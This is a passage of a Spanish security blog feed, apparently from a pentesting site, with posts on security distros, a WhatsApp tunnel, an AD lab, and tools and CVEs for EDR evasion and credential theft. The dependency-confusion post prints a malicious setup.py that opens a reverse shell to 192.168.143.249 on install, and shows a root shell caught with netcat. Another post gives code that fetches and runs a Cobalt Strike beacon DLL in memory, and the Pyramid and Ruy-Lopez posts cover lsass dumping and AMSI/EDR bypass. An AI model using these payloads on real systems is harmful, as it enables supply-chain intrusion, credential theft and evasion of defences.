La distribución Satanic Linux se basó originalmente en Slackware Linux y utilizó el entorno de escritorio KDE. El nombre "Satanic" en el nombre de la distribución generó cierta controversia, y el proyecto fue renombrado a SELinux poco después de su lanzamiento. Sin embargo, la distribución Satanic Linux sigue siendo recordada como una de las primeras distribuciones de Linux orientadas a la seguridad informática, y su legado ha influido en muchas otras distribuciones de seguridad que han surgido desde entonces. 

Hoy en día, cinco de las principales distribuciones de Linux orientadas a ciberseguridad son las siguientes:

  • Kali Linux: Es una de las distribuciones más populares y utilizadas para pentesting y análisis de vulnerabilidades. Contiene una gran cantidad de herramientas de seguridad. Además también tiene una gran comunidad y una documentación muy completa, lo que la convierte en una excelente opción tanto para principiantes como para expertos en seguridad. Utiliza el entorno de escritorio GNOME con una interfaz personalizada, que presenta un menú de aplicaciones y herramientas de seguridad organizadas por categorías.

  • Parrot Security OS: Es otra distribución basada en Debian, que se centra en la privacidad y la seguridad informática. Incluye una amplia variedad de herramientas de hacking y análisis forense, así como también aplicaciones de privacidad, criptografía y anonimato. También tiene un conjunto de herramientas exclusivas y personalizadas para la distribución, como AnonSurf, una herramienta que protege la privacidad en línea, y CryptMount, que permite cifrar unidades y carpetas. Utiliza el entorno de escritorio MATE, que tiene una apariencia similar a la de Windows, con un menú de aplicaciones y un panel de tareas en la parte inferior.

  • BlackArch: Es una distribución basada en Arch Linux, diseñada para profesionales de seguridad informática. Contiene una colección de más de 2.800 herramientas de seguridad. BlackArch se distribuye sin un entorno de escritorio preinstalado, pero se puede instalar fácilmente en varias distribuciones de Linux, incluyendo Arch Linux, y utilizar un entorno de escritorio personalizado.

  • BackBox: Es una distribución basada en Ubuntu, que se centra en la seguridad informática y la evaluación de vulnerabilidades. Incluye una variedad de herramientas de seguridad, como herramientas de análisis forense, herramientas de pruebas de penetración y herramientas de ingeniería inversa. Utiliza el entorno de escritorio Xfce, que es ligero y rápido, con un panel de tareas en la parte superior y un menú de aplicaciones en la esquina superior izquierda.
  • Pentoo: Es una distribución basada en Gentoo, que se centra en la seguridad informática y el análisis forense. Contiene una amplia variedad de herramientas de seguridad y es muy personalizable para adaptarse a las necesidades del usuario. Utiliza el entorno de escritorio Xfce, con un panel de tareas en la parte superior y un menú de aplicaciones personalizado en la esquina superior izquierda.

Enlaces:


wa-tunnel: túnel TCP sobre Whatsapp

$
0
0

El otro día en pleno vuelo de una compañía que no voy a nombrar, vi que a bordo ofrecían servicio de Internet en dos modalidades/precios: navegación normal o navegación sólo para servicios de mensajería instantánea como WhatsApp. Por otro lado, también existen muchos operadores de telefonía e Internet que tiene tarifas sin límite de GBs para WhatsApp... ¿y si hiciéramos un túnel a través de WhatsApp para aprovecharnos de ésto? Siempre con motivos académicos por supuesto...

Pues desde Andorra Aleix Rodríguez nos ofrece una herramienta para llevarlo a cabo: wa-tunnel, una herramienta basada en Baileys que nos permitirá hacer un túnel TCP a través de dos cuentas de Whatsapp.

Dependiendo de la cantidad de caracteres necesarios, dividirá la comunicación en diferentes mensajes de texto o archivos. Para que WhatsApp no agote el tiempo de espera, por defecto está limitado a 20k caracteres por mensaje (actualmente está configurado en wasocket.js). Si un paquete de red supera el límite (los 20k caracteres), se enviará como un archivo si está habilitada la opción. Además, si se almacenan en caché varios paquetes de red, utilizará los mismos criterios.

Los mensajes de archivo se envían como archivos binarios, las respuestas de TCP se concatenan con un delimitador y se comprimen con brotli para reducir el uso de datos.

También almacena en caché las respuestas del socket TCP para agruparlas y enviar la máxima cantidad de datos en un mensaje, por lo tanto, reduce la cantidad de mensajes, mejora la velocidad y reduce la probabilidad de ser baneado.

Instalación

Debemos tener acceso a dos cuentas de Whatsapp, una para el servidor y otra para el cliente. Podemos reenviar un puerto local o usar un proxy externo.

Lado del servidor

Clona el repositorio en tu servidor e instala las dependencias de los nodos.

    cd path/to/wa-tunnel
    npm install
  
Luego, podemos iniciar el servidor con el siguiente comando, donde el puerto es el puerto proxy y el host es el host proxy que desea reenviar. Y número es el número de WhatsApp del cliente con el código del país todo junto y sin +.    
npm run server host port number

Ej. npm run server 192.168.0.1 3128 12345678901

Lado del cliente

Clona el repositorio en tu servidor e instala las dependencias de los nodos.
    cd path/to/wa-tunnel
    npm install
  
Luego, podemos iniciar el servidor con el siguiente comando, donde puerto es el puerto local donde se conectará y el número es el número de WhatsApp del servidor con el código de país en conjunto y sin +.    
npm run client port number

Ej. npm run client 8080 1234567890

Uso

La primera vez que abramos el script, el Baileys nos pedirá que escaneemos el código QR con la aplicación de WhatsApp, después de eso, la sesión se guardará para su uso posterior.

Si falla (suele ser normal) simplemente hay que reiniciar el script y tendremos nuestro cliente/servidor listo.

Una vez que tengamos el cliente y el servidor listos, podemos probar usando curl y ver cómo sucede la magia.
curl -v -x localhost:8080 https://httpbin.org/ip

Ha sido probado también con un navegador normal como Firefox, es lento pero se puede usar.

También podemos reenviar otros puertos de protocolos como SSH configurando el servidor de esta manera:
npm run server localhost 22 12345678901

Y luego conectarse al servidor usando en el cliente:
ssh root@localhost -p 8080

Uso en Android

Para usarlo en Android, podemos hacerlo con Termux usando los siguientes comandos:
pkg update && pkg upgrade
pkg install git nodejs -y
git clone https://github.com/aleixrodriala/wa-tunnel.git
cd wa-tunnel
npm install

Proyecto: https://github.com/aleixrodriala/wa-tunnel

GOAD: Pwning is coming (lab AD pruebas)

$
0
0

El proyecto GOAD es un entorno de laboratorio de Active Directory vulnerable para que los pentesters practiquen técnicas de ataque comunes. La segunda versión se publicó el verano pasado y a día de hoy sigue recibiendo actualizaciones. Entre sus nuevas características destaca:

  • Múltiples dominios y múltiples bosques:
    • Ahora hay un dominio hijo/padre con sevenkingdoms.local y north.sevenkingdoms.local
    • Un bosque separado essos.local para practicar técnicas forest-to-forest
  •  IIS:
    • Un servidor IIS está disponible en castelblack.north.sevenkingdoms.local con la capacidad de cargar asp para obtener un shell
  •  MSSQL:
    • Dos servidores MSSQL disponibles, uno en castelblack.north.sevenkingdoms.local y otro en braavos.sevenkingdoms.local
    • Los dos servidores están enlazados para probar el trust link de MSSQL
    • La configuración de impersonation también se configura en el servidor MSSQL
  • Listado de usuarios anónimos:
    • Ya está disponible una lista de usuarios anónimos en winterfell.north.sevenkingdoms.local
  •  ADC:
    • Una de las mayores mejoras de la versión 2 con los dominios múltiples es que un servidor ADCS está disponible en essos.local y con configuraciones para probar al menos esc1 a 3 y esc8.

Se puede resumir otra vista del laboratorio con este gráfico:


Las técnicas globales disponibles en el laboratorio son:

  • Password reuse between computers (PTH)
  • Spray User = Password
  • Password in description
  • SMB share anonymous
  • SMB not signed
  • Responder
  • Zerologon
  • Windows defender
  • ASREPRoast
  • Kerberoasting
  • AD Acl abuse (forcechangepassword, genericall, genericwrite,…)
  • Unconstraint delegation
  • Ntlm relay
  • Constrained delegation
  • MSSQL exec
  • MSSQL trusted link
  • MSSQL impersonate
  • IIS service to Upload malicious asp
  • Multiples forest
  • Anonymous RPC user listing
  • Child parent domain escalation
  • Certificate and ldaps avaiable
  • ADCS - ESC 1/2/3/8
  • Certifry
  • Samaccountname/nopac
  • Petitpotam unauthent
  • Printerbug
  • Drop the mic
  • Shadow credentials
  • Printnightmare
  • Krbrelayup

Instalación y más detalle en repo oficial: https://github.com/Orange-Cyberdefense/GOAD

Instalación en Proxmox: https://mayfly277.github.io/categories/proxmox/

PythonMemoryModule: implementación en python/ctypes para cargar una dll/exe en memoria

$
0
0

MemoryModule es una vieja herramienta desarrollada por Joachim Bauch que permite cargar y ejecutar módulos de Windows directamente desde la memoria en tiempo de ejecución en lugar de cargarlos desde el disco. Su técnica se basa en la capacidad de Windows de ejecutar código desde una sección de memoria que ha sido asignada como ejecutable.

La ventaja de esta técnica es que permite cargar módulos de forma dinámica y sin tener que escribirlos en el disco, lo que puede ser útil en ciertos casos, como cuando se desea ocultar el código malicioso de la detección por parte un EDR... ejem ejem... Además, al no cargar desde el disco, se puede evitar que se generen rastros en el filesystem o registros del sistema. claro claro...
 
Pues hoy y gracias al italiano naksyn traemos una implementación de esta técnica con Python utilizando la librería ctypes, ya sabéis, la que permite acceder a librerías compartidas escritas en lenguajes de programación como C, C++, entre otros, desde Python, cargando .pyd compilados en lugar de dlls externas, y apoyándose en pefile para analizar las cabeceras del ejecutable.

La herramienta llamada PythonMemoryModule (qué original en el nombre) se pensó en principio para usarla como un módulo de Pyramid para proporcionar evasión contra AV/EDR mediante la carga de payloads dll/exe en python.exe completamente desde la memoria; sin embargo, son posibles otros casos de uso (protección de IP, carga en memoria de pyds, spin-offs para otras técnicas más sigilosas), etc. 

Además, utilizar un lenguaje interpretado como Python nos aporta ventajas adicionales:

  • permite la carga de una dll desde un búfer de memoria utilizando el binario python.exe firmado sin necesidad de colocar en el disco código/bibliotecas externas (como enlaces de pymemorymodule) que pueden ser detectados por un AV/EDR o pueden despertar la sospecha del usuario.
  • no requiere meter el código en el loader ya que con Python se puede cargar de forma dinámica y en memoria
  • podemos cargar un payload stageless sin realizar una inyección o ejecutar un shellcode. El proceso de carga imita la API LoadLibrary sin llamarla...

Veamos un ejemplo de uso, por ejemplo la descarga de una dll de beacon stageless de Cobalt Strike (no se guarda en el disco), se carga en la memoria y se inicia llamando al entrypoint:

importurllib.requestimportctypesimportpythonmemorymodulerequest=urllib.request.Request('http://192.168.1.2/beacon.dll')
result=urllib.request.urlopen(request)
buf=result.read()
dll=pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll=dll.get_proc_addr('StartW')
assertstartDll()
#dll.free_library()

Nota: si usamos staging en nuestro malleable profile, la dll no podrá cargarse con LoadLibrary, por lo tanto, MemoryModule no funcionará.

¿Y cómo pueden detectar esta técnica los azulones? MemoryModule respetará principalmente los permisos de las secciones de la DLL de destino y evitará el enfoque RWX ruidoso. Sin embargo, dentro de la memoria del programa habrá un private commit no respaldado por una dll en disco y esto podría generar un indicador.

Proyecto: https://github.com/naksyn/PythonMemoryModule

Evasión del parche para la vulnerabilidad 0-click en Outlook CVE-2023-23397

$
0
0

En marzo de 2023 Microsoft parcheó una vulnerabilidad etiquetada como CVE-2023-23397 que afectaba a Outlook y podía permitir a un atacante obtener las credenciales de su víctima sin su interacción (0-click) simplemente mandando una convocatoria de reunión con una ruta UNC a un servidor malicioso en la ruta a un sonido de notificación personalizado (propiedad MAPI extendida PidLidReminderFileParameter). Al intentar conectar al servidor SMB remoto, el hash Net-NTLMv2 se envía en un mensaje de negociación.

Actualmente, para cargar del archivo de sonido custom, Outlook usa dos funciones importantes:

  • MapUrlToZone - Devuelve la zona de la URL; se utiliza para determinar si la ruta es local, intranet o de confianza. Esto es lo que se implementó para solucionar el problema con la vulnerabilidad de marzo, e para verificar que la ruta no se refiera a una URL de Internet. Si es así, se utiliza el sonido de recordatorio predeterminado en lugar del personalizado.
  • CreateFile: abre un handler para el archivo de sonido

Pues bien, ahora  el investigador de Akamai Ben Barnea ha encontrado un bypass contra esa medida mitigatoria...

Para llamar a MapUrlToZone, podemos usar el siguiente script de PowerShell que invoca la función a través del Modelo de objetos componentes (COM):

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\Akamai.com\file.wav')    
3             

Para verificar que MapUrlToZone es una mitigación adecuada, podemos probarlo llamándolo en la misma ruta que desencadenó la vulnerabilidad: una ruta UNC absoluta con un dominio de Internet. MapUrlToZone devuelve 3, lo que indica que la ruta se encuentra en la zona de Internet, como se esperaba.

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\.\UNC\Akamai.com\file.wav')      
3

Como podéis observar, MapUrlToZone aún identifica la ruta como una zona de Internet, por lo que aún estaría bloqueada.
Sin embargo, al agregar otro '\' después de "UNC\", MapUrlToZone ahora devuelve 0, lo que significa una ruta local:

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\.\UNC\\Akamai.com\file.wav')
0

Como veis, MapUrlToZone concluye que esta URL es local.

El siguiente paso sería llamar a la función CreateFile, ¿Accederá a un archivo local o lo descargará a través de SMB?

Redoble de tambores ...

Como podéis observar en la imagen, se envió una solicitud de DNS para obtener la IP de Akamai.com. Parece que efectivamente esa ruta para MapUrlToZone es local, ¡pero hace que CreateFile envíe una solicitud a Internet!

Os recomiendo daros una vuelta por este enlace, pero el resumen es que la clave está en las conversiones:

Ruta vulnerable:\\.\UNC\\Akamai.com\file.wav

1. MapUrlToZone:
    CreateUri: /.//UNC//Akamai.com/file.wav
    NT Path: \??\C:\UNC\Akamai.com\file.wav
    Full Path: C:\UNC\Akamai.com\file.wav
    
2. CreateFile:
    Dos Path: \??\UNC\Akamai.com\file.wav    
    Full Path: \\.\UNC\Akamai.com\file.wav
   
Pero, ¿por qué manda CreateFile la petición hacia fuera con esa ruta? El acceso a esta ruta NT hará que el object manager enrute la solicitud de E/S al controlador del proveedor de múltiples UNC (MUP).(Esto se debe a que la entrada del directorio de objetos globales para "UNC" es un enlace simbólico a "\Device\Mup".) Luego RtlpDosPathNameToRelativeNtPathName elimina las '\' extra, por lo que la ruta resultante final contiene solo el nombre de dominio de Internet :)

Al final si explotáis la vulnerabilidad usando como payload la ruta vulnerable lo tendréis:

Fuente: https://www.akamai.com/blog/security-research/important-outlook-vulnerability-bypass-windows-api
Mitigaciones: https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
 Exploit (modificar el payload): https://github.com/api0cradle/CVE-2023-23397-POC-Powershell

Extracción de la contraseña maestra de KeePass (CVE-2023-32784)

$
0
0

Ya sabéis que KeePass es un software gratuito y de código abierto que se utiliza para administrar contraseñas de forma segura, quizás el más extendido y usado en la actualidad. KeePass cifra los datos utilizando una contraseña maestra que se debe proporcionar para acceder a la información almacenada y recientemente se ha publicado la vulnerabilidad CVE-2023-32784 que permite obtenerla desde la memoria: "En KeePass 2.x anterior a 2.54, es posible recuperar la contraseña maestra en texto claro de un volcado de memoria, incluso cuando la sesión está bloqueada o ya no se está ejecutando. El volcado de memoria puede ser un dump de proceso de KeePass, un archivo de swap (pagefile.sys), un archivo de hibernación (hiberfil.sys) o un volcado de RAM de todo el sistema"

El problema se deriva del uso de un cuadro de texto custom ('SecureTextBoxEx') para introducir la contraseña, que no sólo se utiliza para eso, sino también en otros lugares de KeePass, como los cuadros de edición de contraseñas que permiten que un atacante lo use para recuperar su contenido.

Por cada carácter escrito, se crea una cadena sobrante en la memoria. "Debido a cómo funciona .NET, es casi imposible deshacerse de él una vez que se crea. Por ejemplo, cuando se escribe "password", se obtendrán estas cadenas sobrantes: •a, ••s, •••s, ••••w, •••••o, ••••••r , •••••••d.""La POC busca estos patrones en el volcado y ofrece un carácter de contraseña probable para cada posición de la contraseña". Eso sí “el primer carácter no se puede recuperar. En 2.54, hay un uso de API diferente y/o inserción de cadenas aleatorias para la mitigación”.

El éxito del ataque depende de cómo se escribió la contraseña y cuántas contraseñas se escribieron por sesión. Incluso si hay varias contraseñas por sesión o errores tipográficos, la forma en que .NET CLR asigna estas cadenas significa que es probable que estén bien ordenadas en la memoria. Por ejemplo, si el usuario escribió tres contraseñas diferentes, es probable que el atacante obtenga tres candidatos para cada posición de carácter en ese orden, lo que le permitirá recuperar las tres contraseñas.

La PoC la tenemos disponible en https://github.com/vdohney/keepass-password-dumper. Para probarlo rápidamente volcamos la memoria del proceso mediante el administrador de tareas de Windows:

Y luego lo ejecutamos mediante:

dotnet run "C:\Users\IEUser\AppData\Local\Temp\KeePass (6).DMP"

Como véis la contraseña 'Hackplayers' es totalmente legible }:)

En definitiva, hasta que actualice la versión de Keepass actual ten mucho cuidado con estos volcados de memoria. Otras alternativas funcionales son las que no usan .NET:

Otras vulnerabilidades recientes:

  • CVE-2023-24055: permite a un atacante con acceso de escritura al archivo de configuración XML robar las credenciales del vault

Otras herramientas para atacar KeePass:

Confusión de dependencias en Python

$
0
0

La vulnerabilidad de "dependency confusion" (confusión de dependencias) es una vulnerabilidad que ocurre cuando un proyecto o aplicación utiliza un sistema de administración de paquetes que permite la instalación desde fuentes externas, como repositorios públicos o privados, pero no tiene un mecanismo adecuado para evitar la "confusión" entre las dependencias internas y las externas.

Básicamente lo que hace el ataque es usar un paquete con el mismo nombre que una dependencia interna utilizada por el proyecto, pero lo publica en un repositorio público. Cuando el sistema de administración de paquetes del proyecto busca e instala las dependencias, puede descargar e instalar inadvertidamente el paquete malicioso en lugar de la dependencia interna legítima.

Se sabe que los siguientes administradores de paquetes están afectados:

  • MNP
  • RubyGems
  • PyPi
  • JFrog
  • NuGet 

En el post de hoy vamos a probar con Python/PyPi. Por ejemplo con un archivo requirements.txt típico que se puede usar para extraer paquetes de Python del repositorio de PyPi.

defusedxml
bandit
beautifulsoup4
flask
flask-auth-company-name
Esta configuración de arriba es vulnerable a un ataque de confusión de dependencias porque flask-auth-company-name es una dependencia solo local que no se espera que exista en el repositorio remoto.

Lo que haremos será cargar el paquete malicioso usando ese nombre, asegurándonos de que tenga un número de versión más alto que el del paquete local. La próxima vez que se llame al proceso de compilación, el paquete malicioso se descargará del repositorio y se usará en lugar del paquete local. Podría decirse que es una variante de ataque a la cadena de suministro.

Para probar, primero creamos nuestro payload malicioso, empezando por el setup.py:
from setuptools import setup
from setuptools.command.develop import develop
from setuptools.command.install import install


class PostDevelopCommand(develop):

    def run(self):
        develop.run(self)
        print("probando...")


class PostInstallCommand(install):

    def run(self):
        install.run(self)
        import os
        import sys
        os.system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.143.249",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'')


setup(
    name='flask-auth-company-name',
    version="1.0.9",
    url='https://example.com',
    author='Your Name',
    author_email='your@email.com',
    cmdclass={
        'develop': PostDevelopCommand,
        'install': PostInstallCommand,
    }
)
Después lo empaquetamos y le ponemos el lacito:
$ python3 setup.py sdist
 
running sdist
running egg_info
creating flask_auth_company_name.egg-info
writing flask_auth_company_name.egg-info/PKG-INFO
writing dependency_links to flask_auth_company_name.egg-info/dependency_links.txt
writing top-level names to flask_auth_company_name.egg-info/top_level.txt
writing manifest file 'flask_auth_company_name.egg-info/SOURCES.txt'
reading manifest file 'flask_auth_company_name.egg-info/SOURCES.txt'
writing manifest file 'flask_auth_company_name.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check

creating flask-auth-company-name-1.0.9
creating flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying files to flask-auth-company-name-1.0.9...
copying setup.py -> flask-auth-company-name-1.0.9
copying flask_auth_company_name.egg-info/PKG-INFO -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying flask_auth_company_name.egg-info/SOURCES.txt -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying flask_auth_company_name.egg-info/dependency_links.txt -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying flask_auth_company_name.egg-info/not-zip-safe -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying flask_auth_company_name.egg-info/top_level.txt -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
Writing flask-auth-company-name-1.0.9/setup.cfg
creating dist
Creating tar archive
removing 'flask-auth-company-name-1.0.9' (and everything under it)
Ahora que tenemos el .tar.gz lo subimos al servidor pypi, en mi caso con twine preconfigurado simplemente:
$ twine upload dist/*

Uploading distributions to http://servidor.pypie.com/
Uploading flask-auth-company-name-1.0.9.tar.gz
100% ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 3.7/3.7 kB • 00:00 • ?
Ponemos la "oreja" y esperamos que llegue (cuando la víctima ejecute pip install ... ):
$ nc -lvp 8080
Listening on 0.0.0.0 8080
Connection received on workstation 32980

target:# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

¿Fácil verdad? próximamente veremos confusión de dependencias con npm...


Los 5 libros más famosos de hacking de la historia: Una mirada a la literatura clásica del mundo de la seguridad informática

$
0
0

La literatura sobre hacking y seguridad informática ha desempeñado un papel fundamental en el desarrollo y la difusión del conocimiento en este campo. En este post, exploraremos 5 de los libros más famosos de hacking de la historia, considerados clásicos por su impacto en la Comunidad, desde las técnicas fundamentales hasta las historias fascinantes de los pioneros del hacking, estos libros han dejado una huella duradera en la cultura hacker. 

 

The Art of Deception

Por Kevin Mitnick

Considerado un clásico moderno, este libro escrito por el famoso Kevin Mitnick explora la importancia de la ingeniería social en los ciberataques. Mitnick comparte historias intrigantes y revela cómo los hackers utilizan la manipulación psicológica para obtener acceso a información confidencial.

The Cuckoo's Egg

Por Clifford Stoll

Este libro relata la historia real de Clifford Stoll, un astrónomo que descubre un hacker que intenta infiltrarse en los sistemas de la Universidad de California. Stoll narra su investigación minuciosa para rastrear al intruso, brindando una visión emocionante de la persecución y la caza de un hacker en la década de 1980.

 

The Web Application Hacker's Handbook

Por Dafydd Stuttard y Marcus Pinto

Este libro es una referencia esencial para aquellos interesados en la seguridad de las aplicaciones web. Los autores proporcionan un enfoque práctico y detallado sobre las técnicas y metodologías utilizadas para identificar y explotar vulnerabilidades en las aplicaciones web, brindando valiosos conocimientos a los profesionales de la seguridad informática.

 

Hacking: The Art of Exploitation

Por Jon Erickson

Considerado un libro clásico en la comunidad de hacking, esta obra proporciona una introducción profunda a las técnicas y herramientas de hacking. Jon Erickson aborda temas como el lenguaje ensamblador, el análisis de vulnerabilidades y la explotación de software, guiando a los lectores a través de ejemplos de código prácticos y desafiantes.

 

The Hacker Playbook

Por Peter Kim

Este libro se centra en las tácticas y técnicas reales utilizadas por los hackers en el mundo real. Peter Kim ofrece una guía práctica paso a paso para llevar a cabo pruebas de penetración y evaluar la seguridad de los sistemas. Desde la recolección de información hasta la explot


Aprovechando los puntos "ciegos" del EDR con Pyramid

$
0
0

En el Adversary Village de la Defcon30 el italiano Diego Capriotti (@naksyn) presentó "Python vs Modern Defenses" donde usaba Python para ocultarse de los EDRs. Básicamente se aprovecha de que:

  • El amplio uso de Python implica que existe una telemetría muy variada para su intérprete que se ejecuta nativamente en las API. Esto puede aumentar la dificultad para que el EDR detecte anomalías provenientes de python.exe o pythonw.exe.
  • Python carece de transparencia (ref. PEP-578) para el código dinámico ejecutado desde los binarios estándar de python.exe y pythonw.exe.
  • La Fundación Python proporciona oficialmente un "paquete embebido de Windows" que se puede utilizar para ejecutar Python con un entorno mínimo sin instalación. El paquete viene con binarios firmados.
Teniendo en cuenta ésto, Diego desarrolló Pyramid, una herramienta que se puede usar con un intérprete de Python que ya exista en una máquina, o desempaquetar el paquete oficial de Python embebido y luego ejecutar python.exe (o pythonw.exe) para levantar un servidor de descarga de Python y luego ejecutar una amplia gama de tareas de post-explotación.Esta es una forma sencilla de evitar la creación de un patrón de árbol de proceso poco común y que parezca un uso normal de la aplicación Python.
 
Pyramid que ha sido probada con éxito contra varios EDRs, demostrando que efectivamente existen puntos ciegos y es posible ejecutar una variedad de acciones aprovechándolos. 
 
La técnica que utiliza ha sido llamada Living-off-The-Blindspot (Viviendo del Punto Ciego) y nos ofrece interesantes funciones, por ejemplo:

PEP-302. Importación y ejecución dinámica de Python-BloodHound y secretsdump.

Utiliza hooks de importación para modificar la lógica en la que se localizan y cargan los módulos de Python. Esto implica definir una clase personalizada "Finder" y agregar objetos de búsqueda a sys.meta_path. sys.meta_path contiene entradas que implementan la semántica de importación predeterminada de Python

Ejecución de BOF (volcado de lsass con nanodump).

Se puede usar COFFloader y BOF2Shellcode para ejecutar Beacon Object Files vía shellcode.Luego, el shellcode se puede inyectar directamente en python.exe usando Python y ctypes. 

Podemos volcar lsass directamente desde Python.exe usando nanodump, pero necesitamos modificarlo un poco para que funcione con esa técnica.Dado que ejecutaremos un BOF sin que se ejecute Cobalt Strike Beacon, debemos deshacernos de todas las llamadas internas a la API del Beacon porque, de lo contrario, el BOF fallará.También deberíamos hardcodear los parámetros de la línea de comandos para aumentar la estabilidad de ejecución de BOF y así deshacernos de las funciones de análisis de la línea de comandos.Finalmente, podemos elegir nuestro método preferido para descargar lsass y hardcodearlo también. 

Hay que tener en cuenta que con esta técnica no se colocan archivos pyd en el disco.

Creación de un reenvío de puerto local SSH para tunelizar un agente de C2.

La ejecución de un agente C2 aumenta las posibilidades de detección mediante escaneos de memoria, sin embargo, ciertos escenarios pueden requerir la ejecución de un agente para que la operación continúe.Por esta razón, Pyramid proporciona la capacidad de ejecutar un agente C2 y canalizar su tráfico a través de SSH, todo dentro del proceso python.exe.Esto se logra primero importando dinámicamente paramiko y luego iniciando el reenvío de puerto local SSH a un servidor SSH controlado por un atacante en un nuevo subproceso local.El shellcode del agente C2 se inyecta y ejecuta en el proceso.El escenario debe generarse utilizando el host 127.0.0.1 como servidor C2 con el mismo puerto abierto localmente por el reenvío de puerto local SSH.

Módulos

En Pyramid, se usa un cradle o punto de descarga a través de HTTP/S para obtener módulos y dependencias.Los módulos son específicos para la función que desea usar y contienen: 

  1. Clase de Finder personalizada para importar en memoria las dependencias requeridas (archivos zip). 
  2. Código para descargar las dependencias requeridas. 
  3. Lógica principal del programa que desea ejecutar (bloodhound, secretsdump, paramiko, etc.). 

Las dependencias de Python ya se han corregido y modificado para que se importen en la memoria sin conflictos.Actualmente hay 8 módulos Pyramid disponibles: 

  1. bh.py importará en memoria y ejecutará python-BloodHound. 
  2. secretsdump.py importará en memoria y ejecutará secretsdump de Impacket.
  3. shellcode.py es un simple inyector de shellcode en memoria. 
  4. El script DonPAPI.py importará en memoria y ejecutará DonPAPI.Los resultados y las credenciales extraídas se guardan en el disco en el Directorio de paquetes integrados de Python. 
  5. El script LaZagne.py importará en memoria y ejecutará LaZagne 
  6. El script tunnel-socks5 importa y ejecuta paramiko en un nuevo subproceso para crear un puerto remoto SSH hacia un servidor SSH, luego un servidor proxy socks5 se ejecuta localmente en el destino y se hace accesible de forma remota a través del túnel SSH. 
  7. clr script importa Python.net para cargar y ejecutar un ensamblado .NET en memoria. 
  8. El script pythonmemorymodule importa PythonMemoryModule para cargar un dll desde la memoria.

Uso

Iniciar el servidor:

git clone https://github.com/naksyn/Pyramid

Generar certificado SSL para el servidor HTTPS:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

Ejemplo de ejecución de Pyramid HTTP Server usando un certificado SSL que proporciona autenticación básica, cifrando archivos de delivery usando ChaCha, generando automáticamente la configuración del servidor en módulos y sacando un cradle para pythonmemorymodule:

python3pyramid.py-p443-ssl-utestuser-passSup3rP4ss! -enc"chacha20"-passenc"TestPass1"-server"192.168.1.2"-generate-setcradlepythonmemorymodule.py

Blog: https://www.naksyn.com/edr%20evasion/2022/09/01/operating-into-EDRs-blindspot.html

Proyecto: https://github.com/naksyn/Pyramid

Ruy-Lopez o bloquear la carga de DLLs de AVs/EDRs en procesos maliciosos

$
0
0

Los EDR son como el jugador que mueve fichas blancas en un juego de ajedrez:

  • Hacen el primer movimiento con hooks cargados directamente a través del kernel
  • La DLL de EDR normalmente se carga directamente después de ntdll.dll

Pero, ¿y si podemos evitar que se cargue su DLL? ¿y si nos ponemos como el jugador que mueve las fichas blancas y hacemos los primeros movimientos (al menos para el nuevo proceso)?

Esto es lo que explicó Fabian Mosch en la última X33FCON y ha publicado una PoC con este nuevo enfoque para evitar por completo que los archivos DLL se carguen en un proceso recién generado. Es decir bloquear la carga de archivos DLL de proveedores de AV/EDR, de modo que se omitan las detecciones basadas hooking en userland.

El flujo de la PoC es el siguiente:

La subcarpeta HookForward contiene el PIC-code real que se puede usar como EntryPoint para una función NtCreateSection hookeada.
Por otro lado, Blockdll.nim spawnea un nuevo proceso de Powershell en modo suspendido, inyecta el shellcode en ese proceso y remotamente hookea NtCreateSecion con un JMP a nuestro shellcode.

Como se trata de un PoC, solo amsi.dll se bloquea en el nuevo proceso de Powershell, en este caso, lo que conduce efectivamente a la evasión del AMSI. Pero la PoC también se probó con varios proveedores de EDR y sus archivos DLL sin generar una alerta o sin bloquearse antes de lanzarlo.  

Para probarlo en Linux, el PIC-code compila bien con mingw-w64 versión 10-win32 20220324 (GCC). Con esa versión instalada, el shellcode puede compilarse con un simple make y extraerse de la sección .text a través de bash extract.sh.

Para Windows podemos usar los siguientes comandos:
as -o directjump.o directjump_as.asm
gcc ApiResolve.c -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o ApiResolve.o -Wl,--no-seh
gcc HookShellcode.c -Wall -m64 -masm=intel -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o HookShellcode.o -Wl,--no-seh
ld -s directjump.o ApiResolve.o HookShellcode.o -o HookShellcode.exe
gcc extract.c -o extract.exe
extract.exe
Por supuesto, tendremos que tener instalado también Nim y podemos instalar las dependencias con:
nimble install winim
Y finalmente compilamos la PoC:
nim c -d:release -d=mingw -d:noRes BlockDll.nim # Cross compile
nim c -d:release BlockDll.nim # Windows

Herramienta: https://github.com/S3cur3Th1sSh1t/Ruy-Lopez

pd. para culturilla general si alguien no lo sabía la herramienta se llama así por la Apertura Española o Ruy López, una de las formas más antiguas y estudiadas de comenzar con blancas.

A punto de lanzar Moonlighter, el primer satélite real que podrá ser hackeado en un CTF (Defcon 31)

$
0
0

Todos tenemos en mente que la ciberseguridad en el espacio es fundamental y más ahora con la basta cantidad de ingenios espaciales orbitando la Tierra y más allá. Pero hasta ahora nunca antes había habido un CTF (al menos público) para probar técnicas defensivas y ofensivas contra un satélite real. Y esto es lo que plantean con Moonlighter, un cubesat de 3U de tamaño mediano con un peso aproximado de 5 kg que pondrán en órbita en apenas unas horas mediante un SpaceX CRS-28 junto con otros 5 satélites:

